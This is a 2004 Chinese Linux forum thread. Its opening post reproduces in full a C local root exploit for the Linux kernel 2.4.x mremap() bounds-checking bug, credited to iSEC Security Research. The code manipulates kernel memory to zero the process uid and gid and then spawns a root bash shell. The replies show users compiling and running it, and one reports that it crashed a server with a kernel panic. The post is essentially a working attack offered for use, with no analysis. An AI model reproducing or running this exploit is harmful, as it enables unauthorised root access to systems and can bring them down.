LinuxSir.cn,穿越时空的Linuxsir!

 找回密码
 注册
搜索
热搜: shell linux mysql
查看: 864|回复: 6

Linux kernel 2.4.x mremap() bound checking Root Exploit

[复制链接]
发表于 2004-1-17 10:50:20 | 显示全部楼层 |阅读模式
要跑N多个小时的……呵呵

  1. /*
  2. * Linux kernel mremap() bound checking bug exploit.
  3. *
  4. * Bug found by Paul Starzetz <paul isec pl>
  5. *
  6. * Copyright (c) 2004  iSEC Security Research. All Rights Reserved.
  7. *
  8. * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
  9. * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
  10. * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
  11. */

  12. #include <stdio.h>
  13. #include <stdlib.h>
  14. #include <errno.h>
  15. #include <string.h>
  16. #include <fcntl.h>
  17. #include <unistd.h>
  18. #include <syscall.h>
  19. #include <signal.h>
  20. #include <time.h>
  21. #include <sched.h>

  22. #include <sys/mman.h>
  23. #include <sys/stat.h>
  24. #include <sys/wait.h>

  25. #include <asm/page.h>

  26. #define MREMAP_MAYMOVE        1
  27. #define MREMAP_FIXED        2

  28. #define str(s)         #s
  29. #define xstr(s) str(s)

  30. #define DSIGNAL                SIGCHLD
  31. #define CLONEFL                (DSIGNAL|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_VFORK)
  32. #define PAGEADDR        0x2000

  33. #define RNDINT                512

  34. #define NUMVMA                (3 * 5 * 257)
  35. #define NUMFORK                (17 * 65537)

  36. #define DUPTO                1000
  37. #define TMPLEN                256

  38. #define __NR_sys_mremap        163

  39. _syscall5(ulong, sys_mremap, ulong, a, ulong, b, ulong, c, ulong, d, ulong, e);
  40. unsigned long sys_mremap(unsigned long addr, unsigned long old_len, unsigned long
  41. new_len,
  42.                          unsigned long flags, unsigned long new_addr);


  43. static volatile int pid = 0, ppid, hpid, *victim, *fops, blah = 0, dummy = 0, uid,
  44. gid;
  45. static volatile int *vma_ro, *vma_rw, *tmp;
  46. static volatile unsigned fake_file[16];


  47. void fatal(const char * msg)
  48. {
  49.         printf("\n");
  50.         if (!errno) {
  51.                 fprintf(stderr, "FATAL: %s\n", msg);
  52.         } else {
  53.                 perror(msg);
  54.         }

  55.         printf("\nentering endless loop");
  56.         fflush(stdout);
  57.         fflush(stderr);
  58.         while (1) pause();
  59. }

  60. void kernel_code(void * file, loff_t offset, int origin)
  61. {
  62.         int i, c;
  63.         int *v;

  64.         if (!file)
  65.                 goto out;

  66.         __asm__("movl        %%esp, %0" : : "m" (c));

  67.         c &= 0xffffe000;
  68.         v = (void *) c;

  69.         for (i = 0; i < PAGE_SIZE / sizeof(*v) - 1; i++) {
  70.                 if (v[i] == uid && v[i+1] == uid) {
  71.                         i++; v[i++] = 0; v[i++] = 0; v[i++] = 0;
  72.                 }
  73.                 if (v[i] == gid) {
  74.                         v[i++] = 0; v[i++] = 0; v[i++] = 0; v[i++] = 0;
  75.                         break;
  76.                 }
  77.         }
  78. out:
  79.         dummy++;
  80. }

  81. void try_to_exploit(void)
  82. {
  83.         int v = 0;

  84.         v += fops[0];
  85.         v += fake_file[0];

  86.         kernel_code(0, 0, v);
  87.         lseek(DUPTO, 0, SEEK_SET);

  88.         if (geteuid()) {
  89.                 printf("\nFAILED uid!=0"); fflush(stdout);
  90.                 errno =- ENOSYS;
  91.                 fatal("uid change");
  92.         }

  93.         printf("\n[+] PID %d GOT UID 0, enjoy!", getpid()); fflush(stdout);

  94.         kill(ppid, SIGUSR1);
  95.         setresuid(0, 0, 0);
  96.         sleep(1);

  97.         printf("\n\n"); fflush(stdout);

  98.         execl("/bin/bash", "bash", NULL);
  99.         fatal("burp");
  100. }

  101. void cleanup(int v)
  102. {
  103.         victim[DUPTO] = victim[0];
  104.         kill(0, SIGUSR2);
  105. }


  106. void redirect_filp(int v)
  107. {
  108.         printf("\n[!] parent check race... "); fflush(stdout);

  109.         if (victim[DUPTO] && victim[0] == victim[DUPTO]) {
  110.                 printf("SUCCESS, cought SLAB page!"); fflush(stdout);
  111.                 victim[DUPTO] = (unsigned) & fake_file;
  112.                 signal(SIGUSR1, &cleanup);
  113.                 kill(pid, SIGUSR1);
  114.         } else {
  115.                 printf("FAILED!");
  116.         }
  117.         fflush(stdout);
  118. }

  119. int get_slab_objs(void)
  120. {
  121.         FILE * fp;
  122.         int c, d, u = 0, a = 0;
  123.         static char line[TMPLEN], name[TMPLEN];

  124.         fp = fopen("/proc/slabinfo", "r");
  125.         if (!fp)
  126.                 fatal("fopen");

  127.         fgets(name, sizeof(name) - 1, fp);
  128.         do {
  129.                 c = u = a =- 1;
  130.                 if (!fgets(line, sizeof(line) - 1, fp))
  131.                         break;
  132. c = sscanf(line, "%s %u %u %u %u %u %u", name, &u, &a, &d, &d, &d, &d);
  133.         } while (strcmp(name, "size-4096"));
  134.        
  135.         fclose(fp);

  136.         return c == 7 ? a - u : -1;
  137. }

  138. void unprotect(int v)
  139. {
  140.         int n, c = 1;

  141.         *victim = 0;
  142.         printf("\n[+] parent unprotected PTE "); fflush(stdout);

  143.         dup2(0, 2);
  144.         while (1) {
  145.                 n = get_slab_objs();
  146.                 if (n < 0)
  147.                         fatal("read slabinfo");
  148.                 if (n > 0) {
  149.                         printf("\n    depopulate SLAB #%d", c++);
  150.                         blah = 0; kill(hpid, SIGUSR1);
  151.                         while (!blah) pause();
  152.                 }
  153.                 if (!n) {
  154.                         blah = 0; kill(hpid, SIGUSR1);
  155.                         while (!blah) pause();
  156.                         dup2(0, DUPTO);
  157.                         break;
  158.                 }
  159.         }

  160.         signal(SIGUSR1, &redirect_filp);
  161.         kill(pid, SIGUSR1);
  162. }

  163. void cleanup_vmas(void)
  164. {
  165.         int i = NUMVMA;

  166.         while (1) {
  167.                 tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ,
  168.                                 MAP_FIXED|MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);
  169.                 if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
  170.                         printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
  171.                         fatal("unmap1");
  172.                 }
  173.                 i--;
  174.                 if (!i)
  175.                         break;

  176.         tmp = mmap((void *) (PAGEADDR - PAGE_SIZE), PAGE_SIZE, PROT_READ|PROT_WRITE,
  177.                                 MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  178.         if (tmp != (void *) (PAGEADDR - PAGE_SIZE)) {
  179.                         printf("\n[-] ERROR unmapping %d", i); fflush(stdout);
  180.                         fatal("unmap2");
  181.                 }
  182.                 i--;
  183.                 if (!i)
  184.                         break;
  185.         }
  186. }

  187. void catchme(int v)
  188. {
  189.         blah++;
  190. }

  191. void exitme(int v)
  192. {
  193.         _exit(0);
  194. }

  195. void childrip(int v)
  196. {
  197.         waitpid(-1, 0, WNOHANG);
  198. }

  199. void slab_helper(void)
  200. {
  201.         signal(SIGUSR1, &catchme);
  202.         signal(SIGUSR2, &exitme);
  203.         blah = 0;

  204.         while (1) {
  205.                 while (!blah) pause();

  206.                 blah = 0;
  207.                 if (!fork()) {
  208.                         dup2(0, DUPTO);
  209.                         kill(getppid(), SIGUSR1);
  210.                         while (1) pause();
  211.                 } else {
  212.                         while (!blah) pause();
  213.                         blah = 0; kill(ppid, SIGUSR2);
  214.                 }
  215.         }
  216.         exit(0);
  217. }

  218. int main(void)
  219. {
  220.         int i, r, v, cnt;
  221.         time_t start;

  222.         srand(time(NULL) + getpid());
  223.         ppid = getpid();
  224.         uid = getuid();
  225.         gid = getgid();

  226.         hpid = fork();
  227.         if (!hpid)
  228.                 slab_helper();

  229.         fops = mmap(0, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
  230.                         MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  231.         if (fops == MAP_FAILED)
  232.                 fatal("mmap fops VMA");
  233.         for (i = 0; i < PAGE_SIZE / sizeof(*fops); i++)
  234.                 fops[i] = (unsigned)&kernel_code;
  235.         for (i = 0; i < sizeof(fake_file) / sizeof(*fake_file); i++)
  236.                 fake_file[i] = (unsigned)fops;

  237.         vma_ro = mmap(0, PAGE_SIZE, PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  238.         if (vma_ro == MAP_FAILED)
  239.                 fatal("mmap1");

  240.         vma_rw = mmap(0, PAGE_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  241.         if (vma_rw == MAP_FAILED)
  242.                 fatal("mmap2");

  243.         cnt = NUMVMA;
  244.         while (1) {
  245.                 r = sys_mremap((ulong)vma_ro, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
  246.                 if (r == (-1)) {
  247.                         printf("\n[-] ERROR remapping"); fflush(stdout);
  248.                         fatal("remap1");
  249.                 }
  250.                 cnt--;
  251.                 if (!cnt) break;

  252.                 r = sys_mremap((ulong)vma_rw, 0, 0, MREMAP_FIXED|MREMAP_MAYMOVE, PAGEADDR);
  253.                 if (r == (-1)) {
  254.                         printf("\n[-] ERROR remapping"); fflush(stdout);
  255.                         fatal("remap2");
  256.                 }
  257.                 cnt--;
  258.                 if (!cnt) break;
  259.         }

  260.         victim = mmap((void*)PAGEADDR, PAGE_SIZE, PROT_EXEC|PROT_READ|PROT_WRITE,
  261.                         MAP_FIXED|MAP_PRIVATE|MAP_ANONYMOUS, 0, 0);
  262.         if (victim != (void *) PAGEADDR)
  263.                 fatal("mmap victim VMA");

  264.         v = *victim;
  265.         *victim = v + 1;

  266.         signal(SIGUSR1, &unprotect);
  267.         signal(SIGUSR2, &catchme);
  268.         signal(SIGCHLD, &childrip);
  269.         printf("\n[+] Please wait...HEAVY SYSTEM LOAD!\n"); fflush(stdout);
  270.         start = time(NULL);

  271.         cnt = NUMFORK;
  272.         v = 0;
  273.         while (1) {
  274.                 cnt--;
  275.                 v--;
  276.                 dummy += *victim;

  277.                 if (cnt > 1) {
  278.                         __asm__(
  279.                         "pusha                                \n"
  280.                         "movl %1, %%eax                        \n"
  281.                         "movl $("xstr(CLONEFL)"), %%ebx        \n"
  282.                         "movl %%esp, %%ecx                \n"
  283.                         "movl $120, %%eax                \n"
  284.                         "int  $0x80                        \n"
  285.                         "movl %%eax, %0                        \n"
  286.                         "popa                                \n"
  287.                         : : "m" (pid), "m" (dummy)
  288.                         );
  289.                 } else {
  290.                         pid = fork();
  291.                 }

  292.                 if (pid) {
  293.                         if (v <= 0 && cnt > 0) {
  294.                                 float eta, tm;
  295.                                 v = rand() % RNDINT / 2 + RNDINT / 2;
  296.                                 tm = eta = (float)(time(NULL) - start);
  297.                                 eta *= (float)NUMFORK;
  298.                                 eta /= (float)(NUMFORK - cnt);
  299.                                 printf("\r\t%u of %u [ %u %%  ETA %6.1f s ]          ",
  300.                                 NUMFORK - cnt, NUMFORK, (100 * (NUMFORK - cnt)) / NUMFORK, eta - tm);
  301.                                 fflush(stdout);
  302.                         }
  303.                         if (cnt) {
  304.                                 waitpid(pid, 0, 0);
  305.                                 continue;
  306.                         }
  307.                         if (!cnt) {
  308.                                 while (1) {
  309.                                          r = wait(NULL);
  310.                                          if (r == pid) {
  311.                                         cleanup_vmas();
  312.                                         while (1) { kill(0, SIGUSR2); kill(0, SIGSTOP); pause(); }
  313.                                          }
  314.                                 }
  315.                         }
  316.                 }

  317.                 else {
  318.                         cleanup_vmas();

  319.                         if (cnt > 0) {
  320.                                 _exit(0);
  321.                         }

  322.                 printf("\n[+] overflow done, the moment of truth..."); fflush(stdout);
  323.                         sleep(1);

  324.                         signal(SIGUSR1, &catchme);
  325.                         munmap(0, PAGE_SIZE);
  326.                         dup2(0, 2);
  327.                         blah = 0; kill(ppid, SIGUSR1);
  328.                         while (!blah) pause();

  329.                         munmap((void *)victim, PAGE_SIZE);
  330.                         dup2(0, DUPTO);

  331.                         blah = 0; kill(ppid, SIGUSR1);
  332.                         while (!blah) pause();
  333.                         try_to_exploit();
  334.                         while (1) pause();
  335.                 }
  336.         }
  337.         return 0;
  338. }

复制代码
发表于 2004-1-18 00:58:44 | 显示全部楼层
可以用中文详悉解释下用法吗??
 楼主| 发表于 2004-1-18 17:19:01 | 显示全部楼层
~~一般如果有特殊需要的话会有英文说明的哦

没需要的话直接编译就是了
发表于 2004-2-1 22:22:15 | 显示全部楼层
谢谢,正在尝试中
发表于 2004-2-1 22:27:32 | 显示全部楼层
是拿到一个root shell吗?
发表于 2004-2-1 23:36:57 | 显示全部楼层
我晕,服务器当掉了....在本机上测试也是kernel panic,当了...
 楼主| 发表于 2004-2-1 23:55:36 | 显示全部楼层
我没拿到……
跑了4个小时……不玩了
呵呵
您需要登录后才可以回帖 登录 | 注册

本版积分规则

快速回复 返回顶部 返回列表